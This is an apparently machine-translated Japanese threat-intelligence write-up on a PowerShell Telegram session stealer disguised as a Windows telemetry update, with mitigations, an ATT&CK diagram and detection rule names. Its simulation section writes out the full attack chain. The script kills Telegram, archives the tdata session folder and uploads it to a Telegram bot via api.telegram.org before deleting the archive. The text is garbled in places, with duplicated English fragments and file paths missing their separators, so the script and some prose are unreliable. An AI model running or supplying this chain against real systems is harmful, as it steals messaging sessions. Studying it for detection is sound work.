テレグラムセッションを盗む手口: PastebinにホストされるPowerShellスクリプトがデスクトップとウェブセッションを標的にする方法
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Pastebin上にホストされた悪意のあるPowerShellスクリプトがWindowsの更新を装ってTelegram Desktopのセッションデータを感染システムから盗みます。このスクリプトはホストの詳細を収集し、Telegram tdata ディレクトリを圧縮し、Telegram Bot APIを通じて結果のアーカイブを流出させます。研究者はまた、Telegram Web認証キーを捕獲し、それをローカルHTTPコレクターに転送するために設計された関連のあるWebベースのスティーラーも特定しました。これらのツールはどちらも通知のために同じTelegramボットに依存しており、利用可能な証拠によれば、それらは広範な運用の段階よりもテスト段階にあるようです。
調査
アナリストは、2つのPastebinにホストされたスクリプトの変種を回収し、ハードコードされたボットトークンとチャットIDを発見し、完全な情報流出プロセスを再構築しました。実行中に、スクリプトは Telegram.exeを終了し、フォルダをアーカイブし、ZIPファイルをボットの tdata を通じてアップロードします。ボットのテレメトリは、MTProto認証キーを 192.168.137.131:5000 ホストされたプライベートコレクターに送信するWebを中心とした別のスティーラーも明らかにしました。全体的な調査結果は、成熟した大規模キャンペーンではなく、機能テストと検証を指摘しています。 192.168.137.131:5000. Overall, the findings point to functional testing and validation rather than a mature, large-scale campaign.
緩和策
Telegramを必要としない組織は、 api.telegram.org および関連するTelegramインフラストラクチャへのアウトバウンドトラフィックをブロックする必要があります。ディフェンダーは、 Invoke-RestMethod or WebClient によるTelegram APIエンドポイントへのターゲティングを監視し、一時ディレクトリに作成されたZIPアーカイブがコンテンツを含んでいるかどうかを検出するべきです。露出したボットトークンは直ちに取り消し、新しいものに置き換えてさらなる悪用を防止する必要があります。 tdata content. Any exposed bot tokens should be revoked immediately and replaced to prevent further misuse.
対応
スクリプトが発見された場合、関連するPowerShellプロセスを終了し、生成された diag.zip アーカイブを削除します。影響を受けたアカウントに関連付けられたすべてのアクティブなTelegramセッションを取り消し、続行アクセスのリスクを軽減するために2要素認証を有効にします。ボットトークンは変更され、リンクされたボットチャットは流出データの証拠をレビューされるべきです。より広範なフォレンジック調査も追加の資格情報やセッション資料が収集されているかどうかを確認する必要があります。
"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 %% アクションノード action_user_exec["<b>アクション</b> – <b>T1204 ユーザー実行</b><br/>被害者がWindows Telemetry Updateという名のPowerShellスクリプトを実行します<br/><b>手法</b> T1036 偽装"] class action_user_exec action action_powershell_interp["<b>アクション</b> – <b>T1059.001 PowerShell</b><br/>PowerShellインタープリタを通じてスクリプトを実行する"] class action_powershell_interp action action_sysinfo["<b>アクション</b> – <b>T1082 システム情報発見</b><br/>USERNAME、COMPUTERNAME、パブリックIPを収集する"] class action_sysinfo action action_collect_tdata["<b>アクション</b> – <b>T1005 ローカルシステムからのデータ</b><br/>Telegram Desktopのtdataディレクトリを見つけてTelegram.exeを終了する"] class action_collect_tdata action action_archive["<b>アクション</b> – <b>T1560.001 ユーティリティによるアーカイブ</b><br/>Compressu2011Archiveが収集したファイルでdiag.zipを作成する"] class action_archive action action_delete["<b>アクション</b> – <b>T1070.004 ファイル削除</b><br/>アップロード後にdiag.zipを削除する"] class action_delete action action_exfiltration["<b>アクション</b> – <b>T1020 自動情報流出</b><br/>Telegram Bot sendDocumentエンドポイントを使用してZIPファイルを流出させる<br/><b>サブ手法</b> T1041 C2チャネルを介した情報流出, T1567 Webサービスによる情報流出, T1071.001 Webプロトコル"] class action_exfiltration action action_session_hijack["<b>アクション</b> – <b>T1563 リモートサービスセッションのハイジャック</b><br/>収集されたtdataからMTProto認可キーを再生する"] class action_session_hijack action action_steal_cookies["<b>アクション</b> – <b>T1550.004 代替認証材料の使用</b><br/>ブラウザストレージからTelegram Webのセッションクッキーを盗み、それをコレクターに転送します"] class action_steal_cookies action %% ツール / プロセスノード tool_powershell["<b>ツール</b> – <b>名前</b>: PowerShell<br/><b>説明</b>: Windowsコマンドu2011ラインシェルとスクリプト言語"] class tool_powershell tool tool_compress["<b>ツール</b> – <b>名前</b>: Compressu2011Archive<br/><b>説明</b>: ZIPアーカイブを作成するためのPowerShellコマンドレット"] class tool_compress tool process_telegram["<b>プロセス</b> – <b>名前</b>: Telegram.exe<br/><b>説明</b>: Telegramメッセージングのデスクトップクライアント"] class process_telegram process tool_telegram_bot["<b>ツール</b> – <b>名前</b>: Telegram Bot API<br/><b>説明</b>: データ流出に使用されるsendDocumentエンドポイント"] class tool_telegram_bot tool %% フローを示す接続 action_user_exec –>|トリガー| action_powershell_interp action_powershell_interp –>|使用| tool_powershell action_powershell_interp –>|実行| action_sysinfo action_sysinfo –>|収集| action_collect_tdata action_collect_tdata –>|終了| process_telegram action_collect_tdata –>|使用| tool_compress action_collect_tdata –>|作成| action_archive action_archive –>|使用| tool_compress action_archive –>|生成| action_exfiltration action_exfiltration –>|使用| tool_telegram_bot action_exfiltration –>|削除| action_delete action_delete –>|クリーニング| action_exfiltration action_exfiltration –>|有効| action_session_hijack action_session_hijack –>|促進| action_steal_cookies "
攻撃フロー
検出
Powershellからの疑わしい.NETメソッドの呼び出し (powershell経由)
見る
コマンドアンドコントロールチャネルとしてのTelegramの可能性のある悪用 (dns_query経由)
見る
IP検索ドメイン通信試行の可能性 (dns経由)
見る
検出用のIOCs (SourceIP): PastebinにホストされたPowerShellスクリプトがデスクトップとWebセッションを標的にしてTelegramセッションスティーラーとしての内部
見る
検出用のIOCs (DestinationIP): PastebinにホストされたPowerShellスクリプトがデスクトップとWebセッションを標的にしてTelegramセッションスティーラーとしての内部
見る
PowerShellスクリプトによるTelegramセッションスティーラーの検出 [Windowsネットワーク接続]
見る
Windowsテレメトリ更新 – Telegramセッションスティーラー [Windows Powershell]
見る
シミュレーション実行
前提条件: テレメトリとベースラインの事前チェックが合格している必要があります。
理由: このセクションは、検出ルールをトリガーするために設計された敵対者手法 (TTP) の正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPsを直接反映し、検出ロジックによって予期される正確なテレメトリを生成することを目的としています。
-
攻撃の説明とコマンド:
- 情報収集: 攻撃者は
api.ipify.orgをクエリしてホストのパブリックIPを発見します(後でログ記録に使用されます)。 - サービスの中断: ファイルがロックされないようにするため、正規のTelegram Desktopプロセスを停止します。
- データの収集: Telegram Desktopの
tdataディレクトリ(セッションファイル)を一時的な場所に再帰的にコピーします。 - アーカイブ: 収集したデータを圧縮し、
diag.zip. - 流出: 圧縮ファイルを悪意のあるTelegramボットに送信します。
Invoke‑RestMethod. - クリーンアップ: 一時的なアーカイブを削除し、必要に応じてTelegramを再起動します。
- 情報収集: 攻撃者は
-
回帰テストスクリプト: PowerShellコマンドラインでのフル攻撃チェーンの実行(検出ルールと一致)。
# Windows Telemetry Update – Telegram Session Stealer $ip = (Invoke-RestMethod -Uri "http://api.ipify.org").Content; Stop-Process -Name Telegram -Force; $src = "$env:APPDATATelegram Desktoptdata"; $dst = "$env:TEMPdiag"; Copy-Item -Path $src -Destination $dst -Recurse -Force; Compress-Archive -Path $dst* -DestinationPath "$env:TEMPdiag.zip" -Force; $botToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11"; $chatId = "987654321"; Invoke-RestMethod -Uri "https://api.telegram.org/bot$botToken/sendDocument?chat_id=$chatId" -Method Post -InFile "$env:TEMPdiag.zip" -ContentType "multipart/form-data"; Remove-Item -Path "$env:TEMPdiag.zip" -Force; -
クリーンアップコマンド: 元の状態に環境を復元します。
# Telegramを再起動(必要に応じて)し、コピーされたデータを削除 Start-Process -FilePath "$env:ProgramFilesTelegram DesktopTelegram.exe" -WindowStyle Hidden; Remove-Item -Path "$env:TEMPdiag" -Recurse -Force;